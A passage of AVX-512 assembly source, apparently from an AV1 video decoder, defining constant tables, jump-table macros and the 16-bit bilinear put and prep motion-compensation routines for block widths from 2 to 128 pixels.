db 12, 13, 14, 15, 44, 45, 46, 47, 14, 15, 16, 17, 46, 47, 48, 49
warp8x8_permB: db 12, 13, 14, 15, 44, 45, 46, 47, 14, 15, 16, 17, 46, 47, 48, 49
db 16, 17, 18, 19, 48, 49, 50, 51, 18, 19, 20, 21, 50, 51, 52, 53
db 20, 21, 22, 23, 52, 53, 54, 55, 22, 23, 24, 25, 54, 55, 56, 57
db 24, 25, 26, 27, 56, 57, 58, 59, 26, 27, 28, 29, 58, 59, 60, 61
warp8x8_end: db 0, 1, 4, 5, 16, 17, 20, 21, 32, 33, 36, 37, 48, 49, 52, 53
db 2, 3, 6, 7, 18, 19, 22, 23, 34, 35, 38, 39, 50, 51, 54, 55
db 8, 9, 12, 13, 24, 25, 28, 29, 40, 41, 44, 45, 56, 57, 60, 61
db 10, 11, 14, 15, 26, 27, 30, 31, 42, 43, 46, 47, 58, 59, 62, 63
deint_q_shuf: ;dq 0, 2, 4, 6, 1, 3, 5, 7
pd_0to7: dd 0, 1, 2, 3, 4, 5, 6, 7
dd 1
pw_2048: times 2 dw 2048
dd 3
pw_8192: times 2 dw 8192
avg_shift: dw 5, 5, 3, 3
pw_27615: times 2 dw 27615
pw_32766: times 2 dw 32766
warp8x8_permC: db -1, 0, -1, 1, -1, 8, -1, 9, -1, 4, -1, 5, -1, 12, -1, 13
warp8x8_permD: db -1, 2, -1, 3, -1, 10, -1, 11, -1, 6, -1, 7, -1, 14, -1, 15
warp_shift_h: db 11, 19, 11, 19, 43, 51, 43, 51, 13, 21, 13, 21, 45, 53, 45, 53
blend_shuf: db 0, 1, 0, 1, 0, 1, 0, 1, 2, 3, 2, 3, 2, 3, 2, 3
resize_permA: dd 0, 4, 8, 12, 1, 5, 9, 13, 16, 20, 24, 28, 17, 21, 25, 29
resize_permB: dd 2, 6, 10, 14, 3, 7, 11, 15, 18, 22, 26, 30, 19, 23, 27, 31
resize_permC: dq 0, 1, 4, 5, 8, 9, 12, 13
resize_permD: dq 2, 3, 6, 7, 10, 11, 14, 15
resize_permE: dq 0, 2, 4, 6
resize_shufA: db -1, 0, -1, 1, -1, 4, -1, 5, -1, 8, -1, 9, -1, 12, -1, 13
resize_shufB: db -1, 2, -1, 3, -1, 6, -1, 7, -1, 10, -1, 11, -1, 14, -1, 15
rescale_mul: dd 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15
resize_shuf: db 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 2, 3, 4, 5, 6, 7
db 8, 9, 10, 11, 12, 13, 14, 15, 14, 15, 14, 15, 14, 15, 14, 15
prep_hv_shift: dq 6, 4
put_bilin_h_rnd: dw 8, 8, 10, 10
prep_mul: dw 16, 16, 4, 4
put_8tap_h_rnd: dd 34, 40
prep_8tap_rnd: dd 128 - (8192 << 8)
warp_8x8_rnd_h: dd 512, 2048
warp_8x8_rnd_v: dd 262144, 65536
warp_8x8t_rnd_v: dd 16384 - (8192 << 15)
avg_round: dw -16400, -16400, -16388, -16388
w_avg_round: dd 128 + (8192 << 4), 32 + (8192 << 4)
mask_round: dd 512 + (8192 << 6), 128 + (8192 << 6)
w_mask_round: dd 128, 64
bidir_shift: dw 6, 6, 4, 4
pb_64: times 4 db 64
pw_m512: times 2 dw -512
pw_2: times 2 dw 2
pw_64: times 2 dw 64
pd_32: dd 32
pd_63: dd 63
pd_128: dd 128
pd_640: dd 640
pd_2176: dd 2176
pd_16384: dd 16384
pd_0_4: dd 0, 4
%define pw_16 prep_mul
%define pd_512 warp_8x8_rnd_h
%macro BASE_JMP_TABLE 3-*
%xdefine %1_%2_table (%%table - %3)
%xdefine %%base %1_%2
%%table:
%rep %0 - 2
dw %%base %+ _w%3 - %%base
%rotate 1
%endrep
%endmacro
%macro HV_JMP_TABLE 5-*
%xdefine %%prefix mangle(private_prefix %+ _%1_%2_16bpc_%3)
%xdefine %%base %1_%3
%assign %%types %4
%if %%types & 1
%xdefine %1_%2_h_%3_table (%%h - %5)
%%h:
%rep %0 - 4
dw %%prefix %+ .h_w%5 - %%base
%rotate 1
%endrep
%rotate 4
%endif
%if %%types & 2
%xdefine %1_%2_v_%3_table (%%v - %5)
%%v:
%rep %0 - 4
dw %%prefix %+ .v_w%5 - %%base
%rotate 1
%endrep
%rotate 4
%endif
%if %%types & 4
%xdefine %1_%2_hv_%3_table (%%hv - %5)
%%hv:
%rep %0 - 4
dw %%prefix %+ .hv_w%5 - %%base
%rotate 1
%endrep
%endif
%endmacro
%macro BIDIR_JMP_TABLE 2-*
%xdefine %1_%2_table (%%table - 2*%3)
%xdefine %%base %1_%2_table
%xdefine %%prefix mangle(private_prefix %+ _%1_16bpc_%2)
%%table:
%rep %0 - 2
dd %%prefix %+ .w%3 - %%base
%rotate 1
%endrep
%endmacro
%xdefine put_avx512icl mangle(private_prefix %+ _put_bilin_16bpc_avx512icl.put)
%xdefine prep_avx512icl mangle(private_prefix %+ _prep_bilin_16bpc_avx512icl.prep)
BIDIR_JMP_TABLE avg, avx512icl, 4, 8, 16, 32, 64, 128
BIDIR_JMP_TABLE w_avg, avx512icl, 4, 8, 16, 32, 64, 128
BIDIR_JMP_TABLE mask, avx512icl, 4, 8, 16, 32, 64, 128
BIDIR_JMP_TABLE w_mask_420, avx512icl, 4, 8, 16, 32, 64, 128
BIDIR_JMP_TABLE w_mask_422, avx512icl, 4, 8, 16, 32, 64, 128
BIDIR_JMP_TABLE w_mask_444, avx512icl, 4, 8, 16, 32, 64, 128
BIDIR_JMP_TABLE blend, avx512icl, 4, 8, 16, 32
BIDIR_JMP_TABLE blend_v, avx512icl, 2, 4, 8, 16, 32
BIDIR_JMP_TABLE blend_h, avx512icl, 2, 4, 8, 16, 32, 64, 128
BASE_JMP_TABLE put, avx512icl, 2, 4, 8, 16, 32, 64, 128
BASE_JMP_TABLE prep, avx512icl, 4, 8, 16, 32, 64, 128
HV_JMP_TABLE put, bilin, avx512icl, 7, 2, 4, 8, 16, 32, 64, 128
HV_JMP_TABLE prep, bilin, avx512icl, 7, 4, 8, 16, 32, 64, 128
HV_JMP_TABLE put, 8tap, avx512icl, 2, 2, 4, 8, 16, 32, 64, 128
HV_JMP_TABLE prep, 8tap, avx512icl, 2, 4, 8, 16, 32, 64, 128
%define table_offset(type, fn) type %+ fn %+ SUFFIX %+ _table - type %+ SUFFIX
cextern mc_subpel_filters
%define subpel_filters (mangle(private_prefix %+ _mc_subpel_filters)-8)
cextern mc_warp_filter
cextern obmc_masks_avx2
cextern resize_filter
SECTION .text
%if WIN64
DECLARE_REG_TMP 4
%else
DECLARE_REG_TMP 8
%endif
INIT_ZMM avx512icl
cglobal put_bilin_16bpc, 4, 8, 13, dst, ds, src, ss, w, h, mxy
mov mxyd, r6m ; mx
lea r7, [put_avx512icl]
tzcnt t0d, wm
movifnidn hd, hm
test mxyd, mxyd
jnz .h
mov mxyd, r7m ; my
test mxyd, mxyd
jnz .v
.put:
movzx t0d, word [r7+t0*2+table_offset(put,)]
add t0, r7
jmp t0
.put_w2:
mov r6d, [srcq+ssq*0]
mov r7d, [srcq+ssq*1]
lea srcq, [srcq+ssq*2]
mov [dstq+dsq*0], r6d
mov [dstq+dsq*1], r7d
lea dstq, [dstq+dsq*2]
sub hd, 2
jg .put_w2
RET
.put_w4:
mov r6, [srcq+ssq*0]
mov r7, [srcq+ssq*1]
lea srcq, [srcq+ssq*2]
mov [dstq+dsq*0], r6
mov [dstq+dsq*1], r7
lea dstq, [dstq+dsq*2]
sub hd, 2
jg .put_w4
RET
.put_w8:
movu xmm0, [srcq+ssq*0]
movu xmm1, [srcq+ssq*1]
lea srcq, [srcq+ssq*2]
mova [dstq+dsq*0], xmm0
mova [dstq+dsq*1], xmm1
lea dstq, [dstq+dsq*2]
sub hd, 2
jg .put_w8
RET
.put_w16:
movu ym0, [srcq+ssq*0]
movu ym1, [srcq+ssq*1]
lea srcq, [srcq+ssq*2]
mova [dstq+dsq*0], ym0
mova [dstq+dsq*1], ym1
lea dstq, [dstq+dsq*2]
sub hd, 2
jg .put_w16
RET
.put_w32:
movu m0, [srcq+ssq*0]
movu m1, [srcq+ssq*1]
lea srcq, [srcq+ssq*2]
mova [dstq+dsq*0], m0
mova [dstq+dsq*1], m1
lea dstq, [dstq+dsq*2]
sub hd, 2
jg .put_w32
RET
.put_w64:
movu m0, [srcq+ssq*0+64*0]
movu m1, [srcq+ssq*0+64*1]
movu m2, [srcq+ssq*1+64*0]
movu m3, [srcq+ssq*1+64*1]
lea srcq, [srcq+ssq*2]
mova [dstq+dsq*0+64*0], m0
mova [dstq+dsq*0+64*1], m1
mova [dstq+dsq*1+64*0], m2
mova [dstq+dsq*1+64*1], m3
lea dstq, [dstq+dsq*2]
sub hd, 2
jg .put_w64
RET
.put_w128:
movu m0, [srcq+64*0]
movu m1, [srcq+64*1]
movu m2, [srcq+64*2]
movu m3, [srcq+64*3]
add srcq, ssq
mova [dstq+64*0], m0
mova [dstq+64*1], m1
mova [dstq+64*2], m2
mova [dstq+64*3], m3
add dstq, dsq
dec hd
jg .put_w128
RET
.h:
vpbroadcastw m5, mxyd
mov mxyd, r7m ; my
vpbroadcastd m4, [pw_16]
psubw m4, m5
test mxyd, mxyd
jnz .hv
; 12-bit is rounded twice so we can't use the same pmulhrsw approach as .v
movzx t0d, word [r7+t0*2+table_offset(put, _bilin_h)]
mov r6d, r8m ; bitdepth_max
add t0, r7
shr r6d, 11
vpbroadcastd m6, [r7-put_avx512icl+put_bilin_h_rnd+r6*4]
jmp t0
.h_w2:
movq xmm1, [srcq+ssq*0]
movhps xmm1, [srcq+ssq*1]
lea srcq, [srcq+ssq*2]
pmullw xmm0, xmm1, xm4
psrlq xmm1, 16
pmullw xmm1, xm5
paddw xmm0, xm6
paddw xmm0, xmm1
psrlw xmm0, 4
movd [dstq+dsq*0], xmm0
pextrd [dstq+dsq*1], xmm0, 2
lea dstq, [dstq+dsq*2]
sub hd, 2
jg .h_w2
RET
.h_w4:
movq xmm0, [srcq+ssq*0+0]
movhps xmm0, [srcq+ssq*1+0]
movq xmm1, [srcq+ssq*0+2]
movhps xmm1, [srcq+ssq*1+2]
lea srcq, [srcq+ssq*2]
pmullw xmm0, xm4
pmullw xmm1, xm5
paddw xmm0, xm6
paddw xmm0, xmm1
psrlw xmm0, 4
movq [dstq+dsq*0], xmm0
movhps [dstq+dsq*1], xmm0
lea dstq, [dstq+dsq*2]
sub hd, 2
jg .h_w4
RET
.h_w8:
movu xm0, [srcq+ssq*0+0]
vinserti32x4 ym0, [srcq+ssq*1+0], 1
movu xm1, [srcq+ssq*0+2]
vinserti32x4 ym1, [srcq+ssq*1+2], 1
lea srcq, [srcq+ssq*2]
pmullw ym0, ym4
pmullw ym1, ym5
paddw ym0, ym6
paddw ym0, ym1
psrlw ym0, 4
mova [dstq+dsq*0], xm0
vextracti32x4 [dstq+dsq*1], ym0, 1
lea dstq, [dstq+dsq*2]
sub hd, 2
jg .h_w8
RET
.h_w16:
movu ym0, [srcq+ssq*0+0]
vinserti32x8 m0, [srcq+ssq*1+0], 1
movu ym1, [srcq+ssq*0+2]
vinserti32x8 m1, [srcq+ssq*1+2], 1
lea srcq, [srcq+ssq*2]
pmullw m0, m4
pmullw m1, m5
paddw m0, m6
paddw m0, m1
psrlw m0, 4
mova [dstq+dsq*0], ym0
vextracti32x8 [dstq+dsq*1], m0, 1
lea dstq, [dstq+dsq*2]
sub hd, 2
jg .h_w16
RET
.h_w32:
pmullw m0, m4, [srcq+ssq*0+0]
pmullw m2, m5, [srcq+ssq*0+2]
pmullw m1, m4, [srcq+ssq*1+0]
pmullw m3, m5, [srcq+ssq*1+2]
lea srcq, [srcq+ssq*2]
paddw m0, m6
paddw m1, m6
paddw m0, m2
paddw m1, m3
psrlw m0, 4
psrlw m1, 4
mova [dstq+dsq*0], m0
mova [dstq+dsq*1], m1
lea dstq, [dstq+dsq*2]
sub hd, 2
jg .h_w32
RET
.h_w64:
pmullw m0, m4, [srcq+64*0+0]
pmullw m2, m5, [srcq+64*0+2]
pmullw m1, m4, [srcq+64*1+0]
pmullw m3, m5, [srcq+64*1+2]
add srcq, ssq
paddw m0, m6
paddw m1, m6
paddw m0, m2
paddw m1, m3
psrlw m0, 4
psrlw m1, 4
mova [dstq+64*0], m0
mova [dstq+64*1], m1
add dstq, dsq
dec hd
jg .h_w64
RET
.h_w128:
pmullw m0, m4, [srcq+64*0+0]
pmullw m7, m5, [srcq+64*0+2]
pmullw m1, m4, [srcq+64*1+0]
pmullw m8, m5, [srcq+64*1+2]
pmullw m2, m4, [srcq+64*2+0]
pmullw m9, m5, [srcq+64*2+2]
pmullw m3, m4, [srcq+64*3+0]
pmullw m10, m5, [srcq+64*3+2]
add srcq, ssq
REPX {paddw x, m6}, m0, m1, m2, m3
paddw m0, m7
paddw m1, m8
paddw m2, m9
paddw m3, m10
REPX {psrlw x, 4}, m0, m1, m2, m3
mova [dstq+64*0], m0
mova [dstq+64*1], m1
mova [dstq+64*2], m2
mova [dstq+64*3], m3
add dstq, dsq
dec hd
jg .h_w128
RET
.v:
movzx t0d, word [r7+t0*2+table_offset(put, _bilin_v)]
shl mxyd, 11
vpbroadcastw m8, mxyd
add t0, r7
jmp t0
.v_w2:
movd xmm0, [srcq+ssq*0]
.v_w2_loop:
movd xmm1, [srcq+ssq*1]
lea srcq, [srcq+ssq*2]
punpckldq xmm2, xmm0, xmm1
movd xmm0, [srcq+ssq*0]
punpckldq xmm1, xmm0
psubw xmm1, xmm2
pmulhrsw xmm1, xm8
paddw xmm1, xmm2
movd [dstq+dsq*0], xmm1
pextrd [dstq+dsq*1], xmm1, 1
lea dstq, [dstq+dsq*2]
sub hd, 2
jg .v_w2_loop
RET
.v_w4:
movq xmm0, [srcq+ssq*0]
.v_w4_loop:
movq xmm1, [srcq+ssq*1]
lea srcq, [srcq+ssq*2]
punpcklqdq xmm2, xmm0, xmm1
movq xmm0, [srcq+ssq*0]
punpcklqdq xmm1, xmm0
psubw xmm1, xmm2
pmulhrsw xmm1, xm8
paddw xmm1, xmm2
movq [dstq+dsq*0], xmm1
movhps [dstq+dsq*1], xmm1
lea dstq, [dstq+dsq*2]
sub hd, 2
jg .v_w4_loop
RET
.v_w8:
movu xmm0, [srcq+ssq*0]
.v_w8_loop:
vbroadcasti128 ymm1, [srcq+ssq*1]
lea srcq, [srcq+ssq*2]
vpblendd ymm2, ymm0, ymm1, 0xf0
vbroadcasti128 ymm0, [srcq+ssq*0]
vpblendd ymm1, ymm0, 0xf0
psubw ymm1, ymm2
pmulhrsw ymm1, ym8
paddw ymm1, ymm2
mova [dstq+dsq*0], xmm1
vextracti128 [dstq+dsq*1], ymm1, 1
lea dstq, [dstq+dsq*2]
sub hd, 2
jg .v_w8_loop
vzeroupper
RET
.v_w16:
movu ym0, [srcq+ssq*0]
.v_w16_loop:
movu ym3, [srcq+ssq*1]
lea srcq, [srcq+ssq*2]
psubw ym1, ym3, ym0
pmulhrsw ym1, ym8
paddw ym1, ym0
movu ym0, [srcq+ssq*0]
psubw ym2, ym0, ym3
pmulhrsw ym2, ym8
paddw ym2, ym3
mova [dstq+dsq*0], ym1
mova [dstq+dsq*1], ym2
lea dstq, [dstq+dsq*2]
sub hd, 2
jg .v_w16_loop
RET
.v_w32:
movu m0, [srcq+ssq*0]
.v_w32_loop:
movu m3, [srcq+ssq*1]
lea srcq, [srcq+ssq*2]
psubw m1, m3, m0
pmulhrsw m1, m8
paddw m1, m0
movu m0, [srcq+ssq*0]
psubw m2, m0, m3
pmulhrsw m2, m8
paddw m2, m3
mova [dstq+dsq*0], m1
mova [dstq+dsq*1], m2
lea dstq, [dstq+dsq*2]
sub hd, 2
jg .v_w32_loop
RET
.v_w64:
movu m0, [srcq+ssq*0+64*0]
movu m1, [srcq+ssq*0+64*1]
.v_w64_loop:
movu m2, [srcq+ssq*1+64*0]
movu m3, [srcq+ssq*1+64*1]
lea srcq, [srcq+ssq*2]
psubw m4, m2, m0
pmulhrsw m4, m8
paddw m4, m0
movu m0, [srcq+ssq*0+64*0]
psubw m5, m3, m1
pmulhrsw m5, m8
paddw m5, m1
movu m1, [srcq+ssq*0+64*1]
psubw m6, m0, m2
pmulhrsw m6, m8
psubw m7, m1, m3
pmulhrsw m7, m8
mova [dstq+dsq*0+64*0], m4
mova [dstq+dsq*0+64*1], m5
paddw m6, m2
paddw m7, m3
mova [dstq+dsq*1+64*0], m6
mova [dstq+dsq*1+64*1], m7
lea dstq, [dstq+dsq*2]
sub hd, 2
jg .v_w64_loop
RET
.v_w128:
movu m0, [srcq+ssq*0+64*0]
movu m1, [srcq+ssq*0+64*1]
movu m2, [srcq+ssq*0+64*2]
movu m3, [srcq+ssq*0+64*3]
.v_w128_loop:
movu m4, [srcq+ssq*1+64*0]
movu m5, [srcq+ssq*1+64*1]
movu m6, [srcq+ssq*1+64*2]
movu m7, [srcq+ssq*1+64*3]
lea srcq, [srcq+ssq*2]
psubw m9, m4, m0
pmulhrsw m9, m8
paddw m9, m0
movu m0, [srcq+ssq*0+64*0]
psubw m10, m5, m1
pmulhrsw m10, m8
paddw m10, m1
movu m1, [srcq+ssq*0+64*1]
psubw m11, m6, m2
pmulhrsw m11, m8
paddw m11, m2
movu m2, [srcq+ssq*0+64*2]
psubw m12, m7, m3
pmulhrsw m12, m8
paddw m12, m3
movu m3, [srcq+ssq*0+64*3]
mova [dstq+dsq*0+64*0], m9
psubw m9, m0, m4
pmulhrsw m9, m8
mova [dstq+dsq*0+64*1], m10
psubw m10, m1, m5
pmulhrsw m10, m8
mova [dstq+dsq*0+64*2], m11
psubw m11, m2, m6
pmulhrsw m11, m8
mova [dstq+dsq*0+64*3], m12
psubw m12, m3, m7
pmulhrsw m12, m8
paddw m9, m4
paddw m10, m5
mova [dstq+dsq*1+64*0], m9
mova [dstq+dsq*1+64*1], m10
paddw m11, m6
paddw m12, m7
mova [dstq+dsq*1+64*2], m11
mova [dstq+dsq*1+64*3], m12
lea dstq, [dstq+dsq*2]
sub hd, 2
jg .v_w128_loop
RET
.hv:
movzx t0d, word [r7+t0*2+table_offset(put, _bilin_hv)]
shl mxyd, 11
vpbroadcastd m6, [pw_2]
vpbroadcastw m7, mxyd
vpbroadcastd m8, [pw_8192]
add t0, r7
test dword r8m, 0x800
jnz .hv_12bpc
psllw m4, 2
psllw m5, 2
vpbroadcastd m8, [pw_2048]
.hv_12bpc:
jmp t0
.hv_w2:
vpbroadcastq xmm1, [srcq+ssq*0]
pmullw xmm0, xmm1, xm4
psrlq xmm1, 16
pmullw xmm1, xm5
paddw xmm0, xm6
paddw xmm0, xmm1
psrlw xmm0, 2
.hv_w2_loop:
movq xmm2, [srcq+ssq*1]
lea srcq, [srcq+ssq*2]
movhps xmm2, [srcq+ssq*0]
pmullw xmm1, xmm2, xm4
psrlq xmm2, 16
pmullw xmm2, xm5
paddw xmm1, xm6
paddw xmm1, xmm2
psrlw xmm1, 2 ; 1 _ 2 _
shufpd xmm2, xmm0, xmm1, 0x01 ; 0 _ 1 _
mova xmm0, xmm1
psubw xmm1, xmm2
paddw xmm1, xmm1
pmulhw xmm1, xm7
paddw xmm1, xmm2
pmulhrsw xmm1, xm8
movd [dstq+dsq*0], xmm1
pextrd [dstq+dsq*1], xmm1, 2
lea dstq, [dstq+dsq*2]
sub hd, 2
jg .hv_w2_loop
RET
.hv_w4:
pmullw xmm0, xm4, [srcq+ssq*0-8]
pmullw xmm1, xm5, [srcq+ssq*0-6]
paddw xmm0, xm6
paddw xmm0, xmm1
psrlw xmm0, 2
.hv_w4_loop:
movq xmm1, [srcq+ssq*1+0]
movq xmm2, [srcq+ssq*1+2]
lea srcq, [srcq+ssq*2]
movhps xmm1, [srcq+ssq*0+0]
movhps xmm2, [srcq+ssq*0+2]
pmullw xmm1, xm4
pmullw xmm2, xm5
paddw xmm1, xm6
paddw xmm1, xmm2
psrlw xmm1, 2 ; 1 2
shufpd xmm2, xmm0, xmm1, 0x01 ; 0 1
mova xmm0, xmm1
psubw xmm1, xmm2
paddw xmm1, xmm1
pmulhw xmm1, xm7
paddw xmm1, xmm2
pmulhrsw xmm1, xm8
movq [dstq+dsq*0], xmm1
movhps [dstq+dsq*1], xmm1
lea dstq, [dstq+dsq*2]
sub hd, 2
jg .hv_w4_loop
RET
.hv_w8:
pmullw xmm0, xm4, [srcq+ssq*0+0]
pmullw xmm1, xm5, [srcq+ssq*0+2]
paddw xmm0, xm6
paddw xmm0, xmm1
psrlw xmm0, 2
vinserti32x4 ym0, xmm0, 1
.hv_w8_loop:
movu xm1, [srcq+ssq*1+0]
movu xm2, [srcq+ssq*1+2]
lea srcq, [srcq+ssq*2]
vinserti32x4 ym1, [srcq+ssq*0+0], 1
vinserti32x4 ym2, [srcq+ssq*0+2], 1
pmullw ym1, ym4
pmullw ym2, ym5
paddw ym1, ym6
paddw ym1, ym2
psrlw ym1, 2 ; 1 2
vshufi32x4 ym2, ym0, ym1, 0x01 ; 0 1
mova ym0, ym1
psubw ym1, ym2
paddw ym1, ym1
pmulhw ym1, ym7
paddw ym1, ym2
pmulhrsw ym1, ym8
mova [dstq+dsq*0], xm1
vextracti32x4 [dstq+dsq*1], ym1, 1
lea dstq, [dstq+dsq*2]
sub hd, 2
jg .hv_w8_loop
RET
.hv_w16:
pmullw ym0, ym4, [srcq+ssq*0+0]
pmullw ym1, ym5, [srcq+ssq*0+2]
paddw ym0, ym6
paddw ym0, ym1
psrlw ym0, 2
vinserti32x8 m0, ym0, 1
.hv_w16_loop:
movu ym1, [srcq+ssq*1+0]
movu ym2, [srcq+ssq*1+2]
lea srcq, [srcq+ssq*2]
vinserti32x8 m1, [srcq+ssq*0+0], 1
vinserti32x8 m2, [srcq+ssq*0+2], 1
pmullw m1, m4
pmullw m2, m5
paddw m1, m6
paddw m1, m2
psrlw m1, 2 ; 1 2
vshufi32x4 m2, m0, m1, q1032 ; 0 1
mova m0, m1
psubw m1, m2
paddw m1, m1
pmulhw m1, m7
paddw m1, m2
pmulhrsw m1, m8
mova [dstq+dsq*0], ym1
vextracti32x8 [dstq+dsq*1], m1, 1
lea dstq, [dstq+dsq*2]
sub hd, 2
jg .hv_w16_loop
RET
.hv_w32:
.hv_w64:
.hv_w128:
movifnidn wd, wm
lea r6d, [hq+wq*8-256]
mov r4, srcq
mov r7, dstq
.hv_w32_loop0:
pmullw m0, m4, [srcq+ssq*0+0]
pmullw m1, m5, [srcq+ssq*0+2]
paddw m0, m6
paddw m0, m1
psrlw m0, 2
.hv_w32_loop:
pmullw m3, m4, [srcq+ssq*1+0]
pmullw m1, m5, [srcq+ssq*1+2]
lea srcq, [srcq+ssq*2]
paddw m3, m6
paddw m3, m1
psrlw m3, 2
psubw m1, m3, m0
paddw m1, m1
pmulhw m1, m7
paddw m1, m0
pmullw m0, m4, [srcq+ssq*0+0]
pmullw m2, m5, [srcq+ssq*0+2]
paddw m0, m6
paddw m0, m2
psrlw m0, 2
psubw m2, m0, m3
paddw m2, m2
pmulhw m2, m7
paddw m2, m3
pmulhrsw m1, m8
pmulhrsw m2, m8
mova [dstq+dsq*0], m1
mova [dstq+dsq*1], m2
lea dstq, [dstq+dsq*2]
sub hd, 2
jg .hv_w32_loop
add r4, 64
add r7, 64
movzx hd, r6b
mov srcq, r4
mov dstq, r7
sub r6d, 1<<8
jg .hv_w32_loop0
RET
cglobal prep_bilin_16bpc, 3, 7, 16, tmp, src, stride, w, h, mxy, stride3
movifnidn mxyd, r5m ; mx
lea r6, [prep_avx512icl]
tzcnt wd, wm
movifnidn hd, hm
test mxyd, mxyd
jnz .h
mov mxyd, r6m ; my
test mxyd, mxyd
jnz .v
.prep:
movzx wd, word [r6+wq*2+table_offset(prep,)]
mov r5d, r7m ; bitdepth_max
vpbroadcastd m5, [r6-prep_avx512icl+pw_8192]
add wq, r6
shr r5d, 11
vpbroadcastd m4, [r6-prep_avx512icl+prep_mul+r5*4]
lea stride3q, [strideq*3]
jmp wq
.prep_w4:
movq xmm0, [srcq+strideq*0]
movhps xmm0, [srcq+strideq*1]
vpbroadcastq ymm1, [srcq+strideq*2]
vpbroadcastq ymm2, [srcq+stride3q ]
lea srcq, [srcq+strideq*4]
vpblendd ymm0, ymm1, 0x30
vpblendd ymm0, ymm2, 0xc0
pmullw ymm0, ym4
psubw ymm0, ym5
mova [tmpq], ymm0
add tmpq, 32
sub hd, 4
jg .prep_w4
vzeroupper
RET
.prep_w8:
movu xm0, [srcq+strideq*0]
vinserti32x4 ym0, [srcq+strideq*1], 1
vinserti32x4 m0, [srcq+strideq*2], 2
vinserti32x4 m0, [srcq+stride3q ], 3
lea srcq, [srcq+strideq*4]
pmullw m0, m4
psubw m0, m5
mova [tmpq], m0
add tmpq, 64
sub hd, 4
jg .prep_w8
RET
.prep_w16:
movu ym0, [srcq+strideq*0]
vinserti32x8 m0, [srcq+strideq*1], 1
movu ym1, [srcq+strideq*2]
vinserti32x8 m1, [srcq+stride3q ], 1
lea srcq, [srcq+strideq*4]
pmullw m0, m4
pmullw m1, m4
psubw m0, m5
psubw m1, m5
mova [tmpq+64*0], m0
mova [tmpq+64*1], m1
add tmpq, 64*2
sub hd, 4
jg .prep_w16
RET
.prep_w32:
pmullw m0, m4, [srcq+strideq*0]
pmullw m1, m4, [srcq+strideq*1]
pmullw m2, m4, [srcq+strideq*2]
pmullw m3, m4, [srcq+stride3q ]
lea srcq, [srcq+strideq*4]
REPX {psubw x, m5}, m0, m1, m2, m3
mova [tmpq+64*0], m0
mova [tmpq+64*1], m1
mova [tmpq+64*2], m2
mova [tmpq+64*3], m3
add tmpq, 64*4
sub hd, 4
jg .prep_w32
RET
.prep_w64:
pmullw m0, m4, [srcq+strideq*0+64*0]
pmullw m1, m4, [srcq+strideq*0+64*1]
pmullw m2, m4, [srcq+strideq*1+64*0]
pmullw m3, m4, [srcq+strideq*1+64*1]
lea srcq, [srcq+strideq*2]
REPX {psubw x, m5}, m0, m1, m2, m3
mova [tmpq+64*0], m0
mova [tmpq+64*1], m1
mova [tmpq+64*2], m2
mova [tmpq+64*3], m3
add tmpq, 64*4
sub hd, 2
jg .prep_w64
RET
.prep_w128:
pmullw m0, m4, [srcq+64*0]
pmullw m1, m4, [srcq+64*1]
pmullw m2, m4, [srcq+64*2]
pmullw m3, m4, [srcq+64*3]
add srcq, strideq
REPX {psubw x, m5}, m0, m1, m2, m3
mova [tmpq+64*0], m0
mova [tmpq+64*1], m1
mova [tmpq+64*2], m2
mova [tmpq+64*3], m3
add tmpq, 64*4
dec hd
jg .prep_w128
RET
.h:
vpbroadcastw m5, mxyd
mov mxyd, r6m ; my
vpbroadcastd m4, [pw_16]
vpbroadcastd m6, [pw_32766]
psubw m4, m5
test dword r7m, 0x800
jnz .h_12bpc
psllw m4, 2
psllw m5, 2
.h_12bpc:
test mxyd, mxyd
jnz .hv
movzx wd, word [r6+wq*2+table_offset(prep, _bilin_h)]
add wq, r6
lea stride3q, [strideq*3]
jmp wq
.h_w4:
movu xm1, [srcq+strideq*0]
vinserti32x4 ym1, [srcq+strideq*2], 1
movu xm2, [srcq+strideq*1]
vinserti32x4 ym2, [srcq+stride3q ], 1
lea srcq, [srcq+strideq*4]
punpcklqdq ym0, ym1, ym2
psrldq ym1, 2
psrldq ym2, 2
pmullw ym0, ym4
punpcklqdq ym1, ym2
pmullw ym1, ym5
psubw ym0, ym6
paddw ym0, ym1
psraw ym0, 2
mova [tmpq], ym0
add tmpq, 32
sub hd, 4
jg .h_w4
RET
.h_w8:
movu xm0, [srcq+strideq*0+0]
movu xm1, [srcq+strideq*0+2]
vinserti32x4 ym0, [srcq+strideq*1+0], 1
vinserti32x4 ym1, [srcq+strideq*1+2], 1
vinserti32x4 m0, [srcq+strideq*2+0], 2
vinserti32x4 m1, [srcq+strideq*2+2], 2
vinserti32x4 m0, [srcq+stride3q +0], 3
vinserti32x4 m1, [srcq+stride3q +2], 3
lea srcq, [srcq+strideq*4]
pmullw m0, m4
pmullw m1, m5
psubw m0, m6
paddw m0, m1
psraw m0, 2
mova [tmpq], m0
add tmpq, 64
sub hd, 4
jg .h_w8
RET
.h_w16:
movu ym0, [srcq+strideq*0+0]
vinserti32x8 m0, [srcq+strideq*1+0], 1
movu ym1, [srcq+strideq*0+2]
vinserti32x8 m1, [srcq+strideq*1+2], 1
lea srcq, [srcq+strideq*2]
pmullw m0, m4
pmullw m1, m5
psubw m0, m6
paddw m0, m1
psraw m0, 2
mova [tmpq], m0
add tmpq, 64
sub hd, 2
jg .h_w16
RET
.h_w32:
pmullw m0, m4, [srcq+strideq*0+0]
pmullw m2, m5, [srcq+strideq*0+2]
pmullw m1, m4, [srcq+strideq*1+0]
pmullw m3, m5, [srcq+strideq*1+2]
lea srcq, [srcq+strideq*2]
psubw m0, m6
psubw m1, m6
paddw m0, m2
paddw m1, m3
psraw m0, 2
psraw m1, 2
mova [tmpq+64*0], m0
mova [tmpq+64*1], m1
add tmpq, 64*2
sub hd, 2
jg .h_w32
RET
.h_w64:
pmullw m0, m4, [srcq+ 0]
pmullw m2, m5, [srcq+ 2]
pmullw m1, m4, [srcq+64]
pmullw m3, m5, [srcq+66]
add srcq, strideq
psubw m0, m6
psubw m1, m6
paddw m0, m2
paddw m1, m3
psraw m0, 2
psraw m1, 2
mova [tmpq+64*0], m0
mova [tmpq+64*1], m1
add tmpq, 64*2
dec hd
jg .h_w64
RET
.h_w128:
pmullw m0, m4, [srcq+ 0]
pmullw m7, m5, [srcq+ 2]
pmullw m1, m4, [srcq+ 64]
pmullw m8, m5, [srcq+ 66]
pmullw m2, m4, [srcq+128]
pmullw m9, m5, [srcq+130]
pmullw m3, m4, [srcq+192]
pmullw m10, m5, [srcq+194]
add srcq, strideq
